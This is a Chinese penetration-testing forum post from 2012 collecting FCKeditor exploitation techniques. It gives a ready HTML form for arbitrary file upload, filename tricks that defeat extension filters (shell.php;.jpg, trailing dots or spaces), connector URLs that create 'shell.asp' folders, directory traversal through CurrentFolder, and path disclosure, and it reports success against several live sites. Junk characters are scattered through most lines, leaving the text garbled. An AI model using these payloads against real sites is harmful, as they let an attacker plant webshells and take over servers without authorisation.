中国网络渗透测试联盟

标题: Fckeditor漏洞 (2) [打印本页]
作者: admin    时间: 2012-9-13 17:01
标题: Fckeditor漏洞 (2)
Fckeditor漏洞利用总结  $ J6 d$ A4 z! y1 {0 t0 Q2 }
查看编辑器版本; q( e( k$ r7 v3 y
FCKeditor/_whatsnew.html! L- V  h9 T- x7 i. n8 v
—————————————————————————————————————————————————————————————
8 i: z; c2 u) \# p( u: \7 n- c- e4 F- ~% X: \
2. Version 2.2 版本% c7 p9 _9 G& T% F2 K" v
Apache+linux 环境下在上传文件后面加个.突破！测试通过。+ j, Z+ p  B% y- v& u; e
—————————————————————————————————————————————————————————————
+ c( C5 {- L. W6 m+ `4 M( E. j( y$ k0 w9 B
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。
' o4 M2 c, Q; k4 Q; E$ P* F<form id="frmUpload" enctype="multipart/form-data", i. v; O( x& }$ E+ W
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>" f' T8 u& x4 s& A& L5 U5 H: U2 G% B
<input type="file" name="NewFile" size="50"><br>
6 ^- c- e, \' _<input id="btnUpload" type="submit" value="Upload">, \* \  h$ u  }4 y/ n& C
</form>
+ ]! Q1 [! I' |% E7 V—————————————————————————————————————————————————————————————
- G7 {6 s4 ]$ c) J/ s0 p4 }, X, f, W; \+ i) A1 B+ D- k0 S
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法: d9 A6 Y. ~8 h1 H) M
        很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。# v3 S+ f6 t& Y5 f7 _
    4.1：提交shell.php+空格绕过: P6 f  x, R: a- T8 F4 f
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。1 {6 K' C! k8 o4 @7 `. [  `3 h
    4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。
$ C3 g+ T8 U* Z8 m—————————————————————————————————————————————————————————————
9 \9 _' d. t/ v+ }; [
! m: b+ @% {& B5. 突破建立文件夹
7 S% v7 d; \; AFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
* o6 [9 `/ m  R) \FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp1 E# c3 _' a$ e' o( \  I/ f
—————————————————————————————————————————————————————————————; L, j6 c9 C* a3 t7 Z5 z- Z
$ D2 \0 K. ~" Y: u; F/ S" v# g& ]
6. FCKeditor 中test 文件的上传地址0 E, ^. e" X. i2 G3 A( [/ Z
FCKeditor/editor/filemanager/browser/default/connectors/test.html
* }0 v7 K6 ]- w9 R9 l/ n$ EFCKeditor/editor/filemanager/upload/test.html9 W2 k1 p& V7 G6 s( p3 `+ q
FCKeditor/editor/filemanager/connectors/test.html& M# Z8 [4 v, w4 R$ J4 L
FCKeditor/editor/filemanager/connectors/uploadtest.html$ L! i. t0 v& R) ~  Z
—————————————————————————————————————————————————————————————
4 L# @" f* \- f) \) K, j  B2 l0 H2 _9 E4 A
7.常用上传地址8 a/ |; X0 T. A- \: q! x
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/8 u4 q" L$ W1 u8 o' e
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp2 p$ [7 \9 q+ I. t& w, x
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
5 v% r# J0 T% e7 @) u4 z8 RJSP 版：& F+ |8 _/ `/ h( G
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
! r# `- ~. }/ y7 d  c- E8 P注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文
0 f3 \0 O3 p1 F件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。5 ]6 ~" r2 f) F
—————————————————————————————————————————————————————————————( O1 D1 P/ d8 O4 h
" }8 i; i7 w. q: l/ c
8.其他上传地址
, T$ O( G4 Y6 z" L, yFCKeditor/_samples/default.html
* s. E7 @( u! K0 P8 y' O8 dFCKeditor/_samples/asp/sample01.asp
  g6 E" M7 Z; p+ Y9 m* M5 ZFCKeditor/_samples/asp/sample02.asp- r! b; e3 V, ?# i( u9 A+ u/ K1 q/ ^
FCKeditor/_samples/asp/sample03.asp
' t+ i! h4 I3 i& e  c" [; CFCKeditor/_samples/asp/sample04.asp- Y- }. S; p# D4 ]2 \
一般很多站点都已删除_samples 目录，可以试试。
/ d; q5 o" }' b: ?) kFCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。) [9 s$ X* h# i- z! {  Z( u
—————————————————————————————————————————————————————————————
7 I# F! r# C9 |. Q5 t8 C& |, q
4 e$ Z0 `' U; L( b/ @9.列目录漏洞也可助找上传地址
( C1 e- f" n% E+ DVersion 2.4.1 测试通过
+ t9 C: Y9 y. j- O6 j3 A  g  U# K修改CurrentFolder 参数使用 ../../来进入不同的目录/ u, X  L9 r+ n4 s$ k
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp7 k- w6 M6 S! J5 |3 x3 B- K1 P7 Y
根据返回的XML 信息可以查看网站所有的目录。
7 m% ^7 |' Y6 ~, wFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F) p2 P) @$ _: f& ?! }0 [
也可以直接浏览盘符：4 D  X( Z6 \; n' t7 l
JSP 版本：' b, ^0 N6 m- r4 K/ M
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
7 {# v2 _1 J7 V* R0 N5 K0 P- ^, M" d1 t—————————————————————————————————————————————————————————————  |* n: R6 V& E3 F7 W3 W# |

/ k, X) `( n! R, @: {7 B. g( ]( q10.爆路径漏洞) n8 A) y& y. G" y1 o; h
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
  L8 M, \$ h8 Y( @0 Y—————————————————————————————————————————————————————————————8 p0 b% t1 ^: g+ }+ Q( u1 e# f4 T

, o/ G: P$ S$ P11. FCKeditor 被动限制策略所导致的过滤不严问题" y$ p( R. _, ^" ^' M* n* u/ y# b
        影响版本: FCKeditor x.x <= FCKeditor v2.4.3
) q, a" [( p& G8 t; |# _脆弱描述：+ I# f" X4 Q8 m& k' b/ i+ b
FCKeditor v2.4.3 中File 类别默认拒绝上传类型：8 x; l0 E: s: _$ X  C
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm4 K5 P0 i3 y) v' O; E
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!4 L9 E5 g. ^' G3 r4 H
        而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。) F( E$ K( r; k) s/ L3 U8 h$ k2 F3 i
        在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
' s. W4 D# ^+ P' Z—————————————————————————————————————————————————————————————
: d: H9 b5 l8 y+ k& E  g" T8 O# D6 G- f8 ^. d" v) x
12.最古老的漏洞，Type文件没有限制！
; I1 W5 j3 J, R" w        我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！ 4 N; e; b/ C- H& `; z
—————————————————————————————————————————————————————————————+ C! S5 ]% B5 S& C% h. q+ c
# I1 T! _# Q$ O4 D% B
===============================================================================================================================================
, R3 Z3 v  d. p4 ~, E6 H  v" @$ v! i1 C) p
FCK编辑器jsp版本漏洞：
7 U  q! r; X$ ]6 l8 L
* b, T4 n+ c. j$ ^1 _2 E( ~  m( O4 ?4 u4 I& q- ]% i! m% p
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
7 A' d- Q6 `: U- E9 t# _
* f2 W9 r( y" h上传马所在目录& W8 R" I2 |6 j3 V$ B3 }
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
# R* G! W% [& z) |8 V& F上传shell的地址:
1 V: X0 S  o! v6 ?http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
+ Q6 w- |( t$ |跟版本有关系.并不是百分百成功. 测试成功几个站.
+ e' p1 p/ |# b- `不能通杀.很遗憾.
: r, v2 t2 P  c: Vhttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector$ B. U$ c$ j, o3 u. \7 N
如果以上地址不行可以试试
& P1 I" E. B! H8 c9 IFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector% ^* n: T9 Y2 L/ }6 b! W
FCKeditor/_samples/
5 Y( O( M1 t5 ^2 ?FCKeditor/_samples/default.html, L: C1 V' t) k; n2 A  Z5 ?+ U- z; M
FCKeditor/editor/fckeditor.htm2 k3 A. y! f4 J5 l' l* v
FCKeditor/editor/fckdialog.html+ R. F6 G! V3 U5 @6 ?+ I

8 N! E2 a8 r7 d+ q' E6 ?2 f3 q6 x
" m2 j1 [; p5 r- Q1 I! H3 P# r3 I9 C* q6 S1 q
解析漏洞+未重命名文件时上传漏洞  1.asp;jpg. E$ o8 w0 n* U1 s; ]# u




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2